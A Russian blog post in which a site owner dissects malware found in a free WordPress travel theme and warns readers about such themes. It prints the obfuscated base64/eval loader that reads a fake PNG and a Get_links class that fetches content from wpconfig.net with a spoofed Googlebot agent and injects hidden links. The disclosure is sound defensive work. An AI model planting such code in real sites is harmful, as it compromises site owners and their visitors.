Будьте внимательны с бесплатными шаблонами

Здравствуйте, уважаемые хаброжители. Не так давно я создал сайт на туристическую тематику. Поставил Wordpress, брат писал статьи, и всё было хорошо, пока я не решил поставить бесплатный шаблон. Для меня сверстать шаблон для wp пол дня работы, но ленивый я, и решил сэкономить на этом время, взяв уже готовый. Нашел с помощью Google сайт, там было пару десятков шаблонов на туристическую тематику, выбрал буквально первый попавшийся. Начал проверять на всякую дрянь, потому что бесплатный сыр только в мышеловке. Было пару ссылок в подвале, я их незамедлительно убрал, но 3-4 ссылки при этом всё равно оставались. Как Вы думаете, куда бы их могли спрятать? В картинку!

При активации шаблона, создавался файл get.php в папке этого же шаблона с непонятным содержимым, там была функция base64_decode и eval, содержимое выглядело примерно так:

<?php eval(base64_decode('JGYgPSBkaXJuYW1lKF9fZmlsZV9fKS4nL2ltYWdlcy93cF9tZW51X3RvcC5wbmcnOwppZiAoZmlsZV9leGlzdHMoJGYpKXsKICAgICRmcCA9IGZvcGVuKCRmLCJyIik7CiAgICAkcyA9IGZyZWFkKCRmcCxmaWxlc2l6ZSgkZikpOwogICAgZmNsb3NlKCRmcCk7CiAgICBldmFsKCckbT0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHMpKS4nOycpOwogICAgJGkwPSRtWzBdOwogICAgJGkxPSRtWzFdOwogICAgJGkyPSRtWzJdOwogICAgJGkzPSRtWzNdOwogICAgdW5zZXQoJG1bMF0sJG1bMV0sJG1bMl0pOwogICAgc2h1ZmZsZSgkbSk7CiAgICAkY3NbMF09JGkwLiRpMS4kbVswXS4kaTIuJG1bMV0uJGkyLiRtWzJdLiRpMzsKICAgICRjc1sxXT0kaTAuJGkxLiRtWzNdLiRpMi4kbVs0XS4kaTIuJG1bNV0uJGkzOwogICAgZWNobyAoJGNzWzBdKTsKICAgIGVjaG8gKCRjc1sxXSk7Cn0KCmZ1bmN0aW9uIGZuKCl7CiAgICBpZigoaXNfaG9tZSgpKSYmIShpc19wYWdlZCgpKSkgJG49YmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X2ZpcnN0JykpO2Vsc2UgJG49YmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X3NlY29uZCcpKTtyZXR1cm4gJG47Cn0KJF9HRVRbJ2dfXyddID0gMTsKZnVuY3Rpb24gY2IoJHBhcmFtKXsKICAgIGVjaG8gKCRfR0VUWydnX18nXT4wKSA/IGZuKCkgOiAnJzsKICAgICRfR0VUWydnX18nXSA9IDA7CiAgICByZXR1cm4gJHBhcmFtOwp9CmlmICgkYikgYWRkX2FjdGlvbignd2lkZ2V0X3RpdGxlJywnY2InKTs='))

А в раскодированном виде так:

<?php
$f = dirname(__file__).'/images/wp_menu_top.png';
if (file_exists($f)){
    $fp = fopen($f,"r");
    $s = fread($fp,filesize($f));
    fclose($fp);
    eval('$m='.gzuncompress(stripslashes($s)).';');
    $i0=$m[0];
    $i1=$m[1];
    $i2=$m[2];
    $i3=$m[3];
    unset($m[0],$m[1],$m[2]);
    shuffle($m);
    $cs[0]=$i0.$i1.$m[0].$i2.$m[1].$i2.$m[2].$i3;
    $cs[1]=$i0.$i1.$m[3].$i2.$m[4].$i2.$m[5].$i3;
    echo ($cs[0]);
    echo ($cs[1]);
}
function fn(){
    if((is_home())&&!(is_paged())) $n=base64_decode(get_option('wp_theme_menu_first'));else $n=base64_decode(get_option('wp_theme_menu_second'));return $n;
}
$_GET['g__'] = 1;
function cb($param){
    echo ($_GET['g__']>0) ? fn() : '';
    $_GET['g__'] = 0;
    return $param;
}
if ($b) add_action('widget_title','cb');

Только без переносов строк, это я их добавил для наглядности.
Сразу в глаза бросилась первая строка:

$f = dirname(__file__).'/images/wp_menu_top.png';

Хотел открыть в графическом редакторе, но не получилось, сразу стало ясно, что там что-то плохое!
Чуть ниже видим gzuncompress (), то есть получаеться, что «картинка» эта, просто сжатый текстовый файл, который опять таки содержал base64 строку, а в ней были ссылки.

После часа возни, я всё таки убрал весь хлам, но если бы не ап PR, я бы не нашел вещь ещё более ужасней. Всё началось так: решил с помощью SEOMonitor проверить, нету ли у меня страниц, кроме главной, которые имеют PR, и просто для любопытства поставил галочку «искать внешние ссылки», какое же у меня было удивление, что кроме LiveInternet есть ещё одна ссылка, совсем левая ссылка, так ещё и в только в одной статье, а на сайте их более 100.

Полез обратно в шаблон, начал искать, и сразу же в файле comments.php вижу это:

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Смотрю и думаю: «странный это класс Get_links (), его не должно здесь быть!».

Зашел я в этот function.php, нашел класс, кстати вот код:

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
 
class Get_links {
 
    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;
 
    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
 
         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;
 
        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);
 
        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);
 
            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }
 
    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;
        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}

И сразу же бросилось в глаза это:

var $host = 'wpconfig.net';
var $path = '/system.php';

Проверил wpconfig.net, сайт такой есть, только возвращает он пустую страницу, наверное что-то отдаст с определённым параметром, который передаёт этот метод get_remote (). Ещё он кучу картинок насоздавал в папке /uploads/2012/, все они с хешами md5. Вот этот путь 'wp-content/uploads/2012/'.md5 ($_SERVER['REQUEST_URI']).'.jpg' для создания картинок видно внизу. Все 100+ картинок были пусты, кроме одной, в которой было то, что я нашел в самом начале, это ссылки на на левый сайт.

Будьте внимательны при использовании посторонних бесплатных шаблонов, потому что они могут засунуть любую гадость. Например могут сменить пароли к админке вместе с мылом. Могут удалить статьи, или воровать статьи. Например вы заказали у копирайтера статью, не успели опубликовать, как тут же она опубликуется на более трастовом ресурсе, и все ваши и копирайтера старания к одному месту. Или может возникнуть конфликтная ситуация, когда Вы начнёте подозревать копирайтера в продаже текста третьим лицам. Хотя виноват будет не копирайтер, а Вы. Если не можете найти сами, попросите верстальщика, но лучше конечно заказать новый или купить готовый шаблон, потому что так безопасней.
Теги:
wordpress, бесплатные шаблоны, вредоносный код

Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.